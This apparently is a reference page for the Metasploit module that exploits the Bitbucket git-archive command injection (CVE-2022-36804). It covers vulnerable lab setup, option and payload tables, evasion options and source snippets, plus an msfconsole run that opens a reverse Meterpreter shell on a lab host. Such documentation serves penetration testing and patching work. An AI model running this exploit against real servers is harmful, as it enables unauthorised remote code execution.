Bitbucket Git Command Injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/bitbucket_git_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Bitbucket Git Command Injection
Module: exploit/linux/http/bitbucket_git_cmd_injection
Source code: modules/exploits/linux/http/bitbucket_git_cmd_injection.rb
Disclosure date: 2022-08-24
Last modification time: 2022-10-01 17:54:59 +0000
Supported architecture(s): x86, x64, cmd
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 7990, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-36804

Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints. The /rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive endpoint creates an archive of the repository, leveraging the git-archive command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use exploit/linux/http/bitbucket_git_cmd_injection
msf exploit(bitbucket_git_cmd_injection) > exploit

Required Options

  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

Vulnerable Application

Various versions of Bitbucket Server and Data Center are vulnerable to an unauthenticated command injection vulnerability in multiple API endpoints.

The /rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive endpoint creates an archive of the repository, leveraging the git-archive command to do so. Supplying NULL bytes to the request enables the passing of additional arguments to the command, ultimately enabling execution of arbitrary commands.

According to the advisory, vulnerable versions of Bitbucket are:

Any version released after version 6.10.17 and before: * 7.6.17 * 7.17.10 * 7.21.4 * 8.0.3 * 8.1.3 * 8.2.2 * 8.3.1

Download archives can be found here.

Installation Instructions

  1. Install Git on the target machine
    • sudo apt install -y git
  2. Download a vulnerable version of Bitbucket. For example, version 8.2.1 can be found here
  3. Make sure the resulting bin file is executable and run it
    • chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
  4. An installation wizard will pop up. Make sure Install a new instance is checked, then click Next
  5. Check Install a Server instance and click Next
  6. If the default destination directory looks good, click Next
  7. Click Next if the default Bitbucket data directory looks fine
  8. Make sure the Use default HTTP port (7990) selection is checked and click Next
  9. Make sure the Install Bitbucket as a service box is checked and click Next
  10. Click Install if everything looks correct on the summary screen
  11. Once the installation completes, make sure the Would you like to launch Bitbucket option is selected and click Next
  12. Ensure Launch Bitbucket <version> in browser is selected and click Finish
  13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the I need an evaluation license option
  14. If you already have an account, select I have an account; otherwise, create a new account
  15. 'up and running' should be selected on the next page, so click Generate License
  16. Confirm that the prompt gives you the correct server, then click Yes
  17. The license should be entered in the box, so select Next
  18. Finally, set up an administrator account

Note: If an error occurs on the last step, just open a browser and navigate to the setup page at 127.0.0.1:7990

Vulnerable Setup

  1. Log into Bitbucket with your administrator credentials
  2. Once logged in, select Projects at the top menu
  3. Select Create project
  4. Enter a name for the project and click Create project
  5. On the next page, select Create repository
  6. Enter a name for the repository and select Create repository
  7. Follow the instructions to clone the repository and push data to the repository so it is not empty
  8. Click the gear on the left side of the next page
  9. Select Repository permissions under Security on the left
  10. Underneath Public access, check Enable to make the repository public

Bitbucket should now be exploitable

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/bitbucket_git_cmd_injection
  4. Do: run
  5. You should get a shell.

Options

USERNAME

An optional username to authenticate to Bitbucket with

PASSWORD

An optional password to authenticate to Bitbucket with

Bitbucket version 8.2.1 on Ubuntu 22.04

msf6 > use exploit/linux/http/bitbucket_git_cmd_injection
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set rhost 192.168.140.216
rhost => 192.168.140.216
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Searching Bitbucket for publicly accessible repository
[+] Found public repo 'repo_name' in project 'TEST'!
[*] Using URL: http://192.168.140.1:8080/7SGXRWRlXr8t
[*] Client 192.168.140.216 (Wget/1.21.2) requested /7SGXRWRlXr8t
[*] Sending payload to 192.168.140.216 (Wget/1.21.2)
[*] Sending stage (3020772 bytes) to 192.168.140.216
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.216:57994) at 2022-09-20 18:40:27 -0500
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: atlbitbucket
meterpreter > sysinfo
Computer     : 192.168.140.216
OS           : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage

Here is how the linux/http/bitbucket_git_cmd_injection exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/bitbucket_git_cmd_injection

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show info

       Name: Bitbucket Git Command Injection
     Module: exploit/linux/http/bitbucket_git_cmd_injection
   Platform: Linux
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-08-24

Provided by:
  TheGrandPew
  Ron Bowes
  Jang
  Shelby Pace

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux Dropper
  1   Unix Command

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD                    no        The password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      7990             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
                                         to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The base URI of Bitbucket application
  URIPATH                     no        The URI to use for this exploit (default is random)
  USERNAME                    no        The username to authenticate with
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  Various versions of Bitbucket Server and Data Center are vulnerable 
  to an unauthenticated command injection vulnerability in multiple 
  API endpoints. The 
`/r  est/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` 
  endpoint creates an archive of the repository, leveraging the 
  `git-archive` command to do so. Supplying NULL bytes to the request 
  enables the passing of additional arguments to the command, 
  ultimately enabling execution of arbitrary commands.

References:
  https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/
  https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
  https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis
  https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/
  https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Module Options

This is a complete list of options available in the linux/http/bitbucket_git_cmd_injection exploit:

msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show options

Module options (exploit/linux/http/bitbucket_git_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      7990             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.
                                         0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base URI of Bitbucket application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME                    no        The username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux Dropper

Advanced Options

Here is a complete list of advanced options supported by the linux/http/bitbucket_git_cmd_injection exploit:

msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show advanced

Module advanced options (exploit/linux/http/bitbucket_git_cmd_injection):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   AutoCheck                true                                   no        Run check before exploit
   CMDSTAGER::DECODER                                              no        The decoder stub to use.
   CMDSTAGER::FLAVOR        auto                                   no        The CMD Stager to use. (Accepted: auto, wget, curl, bourne)
   CMDSTAGER::SSL           false                                  no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                 no        Writable directory for staged files
   CMDSTAGER::URIPATH                                              no        Payload URI path for supported stagers
   ContextInformationFile                                          no        The information file that contains context information
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   DisablePayloadHandler    false                                  no        Disable the handler code for the selected payload
   EXE::Custom                                                     no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR               false                                  no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack            false                                  no        Use the default template in case the specified one is missing
   EXE::Inject              false                                  no        Set to preserve the original EXE function
   EXE::OldMethod           false                                  no        Set to use the substitution EXE generation method.
   EXE::Path                                                       no        The directory in which to look for the executable template
   EXE::Template                                                   no        The executable template file name.
   EnableContextEncoding    false                                  no        Use transient context when encoding payloads
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                  no        Override check result
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   ListenerBindAddress                                             no        The specific IP address to bind to if different from SRVHOST
   ListenerBindPort                                                no        The port to bind to if different from SRVPORT
   ListenerComm                                                    no        The specific communication channel to use for this service
   MSI::Custom                                                     no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR               false                                  no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                       no        The directory in which to look for the msi template
   MSI::Template                                                   no        The msi template file name
   MSI::UAC                 false                                  no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                       no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression           false                                  no        Enable SSL/TLS-level compression
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   SendRobots               false                                  no        Return a robots.txt file if asked for one
   URIHOST                                                         no        Host to use in URI (useful for tunnels)
   URIPORT                                                         no        Port to use in URI (useful for tunnels)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module
   WfsDelay                 2                                      no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild        false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                       no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-
                                                           framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy
                                                           but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/http/bitbucket_git_cmd_injection module can exploit:

msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux Dropper
   1   Unix Command

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/bitbucket_git_cmd_injection exploit:

msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                       normal  No     Interact with Established SSH Connection
   5   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   6   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   8   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   9   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   10  payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   11  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   12  payload/linux/x64/pingback_bind_tcp                                normal  No     Linux x64 Pingback, Bind TCP Inline
   13  payload/linux/x64/pingback_reverse_tcp                             normal  No     Linux x64 Pingback, Reverse TCP Inline
   14  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   15  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   16  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   17  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   18  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   19  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   20  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   22  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   23  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   26  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   27  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   28  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   29  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   31  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   32  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   36  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   37  payload/linux/x86/read_file                                        normal  No     Linux Read File
   38  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   41  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   42  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   43  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   44  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   46  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   47  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   48  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   49  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   50  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   51  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the linux/http/bitbucket_git_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/bitbucket_git_cmd_injection) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
                                                            ate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to receive response from application

Here is a relevant code snippet related to the "Failed to receive response from application" error message:

88:	      'method' => 'GET',
89:	      'keep_cookies' => true,
90:	      'uri' => normalize_uri(target_uri.path, 'login')
91:	    )
92:	
93:	    return CheckCode::Unknown('Failed to receive response from application') unless res
94:	
95:	    unless res.body.include?('Bitbucket')
96:	      return CheckCode::Safe('Target does not appear to be Bitbucket')
97:	    end
98:

Target does not appear to be Bitbucket

Here is a relevant code snippet related to the "Target does not appear to be Bitbucket" error message:

91:	    )
92:	
93:	    return CheckCode::Unknown('Failed to receive response from application') unless res
94:	
95:	    unless res.body.include?('Bitbucket')
96:	      return CheckCode::Safe('Target does not appear to be Bitbucket')
97:	    end
98:	
99:	    footer = res.get_html_document&.at('footer')
100:	    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
101:

Cannot determine version of Bitbucket

Here is a relevant code snippet related to the "Cannot determine version of Bitbucket" error message:

95:	    unless res.body.include?('Bitbucket')
96:	      return CheckCode::Safe('Target does not appear to be Bitbucket')
97:	    end
98:	
99:	    footer = res.get_html_document&.at('footer')
100:	    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
101:	
102:	    version_str = footer.at('span')&.children&.text
103:	    return CheckCode::Detected('Cannot find version string in footer') unless version_str
104:	
105:	    matches = version_str.match(/v(\d+\.\d+\.\d+)/)

Here is a relevant code snippet related to the "Cannot find version string in footer" error message:

98:	
99:	    footer = res.get_html_document&.at('footer')
100:	    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
101:	
102:	    version_str = footer.at('span')&.children&.text
103:	    return CheckCode::Detected('Cannot find version string in footer') unless version_str
104:	
105:	    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
106:	    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1
107:	
108:	    version_str = matches[1]

Version unknown

Here is a relevant code snippet related to the "Version unknown" error message:

101:	
102:	    version_str = footer.at('span')&.children&.text
103:	    return CheckCode::Detected('Cannot find version string in footer') unless version_str
104:	
105:	    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
106:	    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1
107:	
108:	    version_str = matches[1]
109:	    vprint_status("Found Bitbucket version: #{matches[1]}")
110:	
111:	    num_vers = Rex::Version.new(version_str)

Failed to reach login page

Here is a relevant code snippet related to the "Failed to reach login page" error message:

152:	      'method' => 'GET',
153:	      'uri' => normalize_uri(target_uri.path, 'login'),
154:	      'keep_cookies' => true
155:	    )
156:	
157:	    fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
158:	    res = send_request_cgi(
159:	      'method' => 'POST',
160:	      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
161:	      'keep_cookies' => true,
162:	      'vars_post' =>

Failed to retrieve a response from log in attempt

Here is a relevant code snippet related to the "Failed to retrieve a response from log in attempt" error message:

165:	        'j_password' => password,
166:	        'submit' => 'Log in'
167:	      }
168:	    )
169:	
170:	    fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
171:	    res = send_request_cgi(
172:	      'method' => 'GET',
173:	      'uri' => normalize_uri(target_uri.path, 'dashboard'),
174:	      'keep_cookies' => true
175:	    )

Failed to receive a response from the dashboard

Here is a relevant code snippet related to the "Failed to receive a response from the dashboard" error message:

172:	      'method' => 'GET',
173:	      'uri' => normalize_uri(target_uri.path, 'dashboard'),
174:	      'keep_cookies' => true
175:	    )
176:	
177:	    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res
178:	
179:	    unless res.body.include?('Your work') && res.body.include?('Projects')
180:	      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
181:	    end
182:

Login failed...Credentials may be invalid

Here is a relevant code snippet related to the "Login failed...Credentials may be invalid" error message:

175:	    )
176:	
177:	    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res
178:	
179:	    unless res.body.include?('Your work') && res.body.include?('Projects')
180:	      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
181:	    end
182:	
183:	    @authenticated = true
184:	    print_good('Successfully logged into Bitbucket!')
185:	  end

Did not receive a response

Here is a relevant code snippet related to the "Did not receive a response" error message:

190:	      'method' => 'GET',
191:	      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
192:	      'keep_cookies' => true
193:	    )
194:	
195:	    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
196:	    json_data = JSON.parse(res.body)
197:	    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
198:	
199:	    unless json_data['size'] > 0
200:	      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')

Response had no JSON

Here is a relevant code snippet related to the "Response had no JSON" error message:

192:	      'keep_cookies' => true
193:	    )
194:	
195:	    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
196:	    json_data = JSON.parse(res.body)
197:	    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
198:	
199:	    unless json_data['size'] > 0
200:	      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
201:	    end
202:

Bitbucket instance has no publicly available repositories

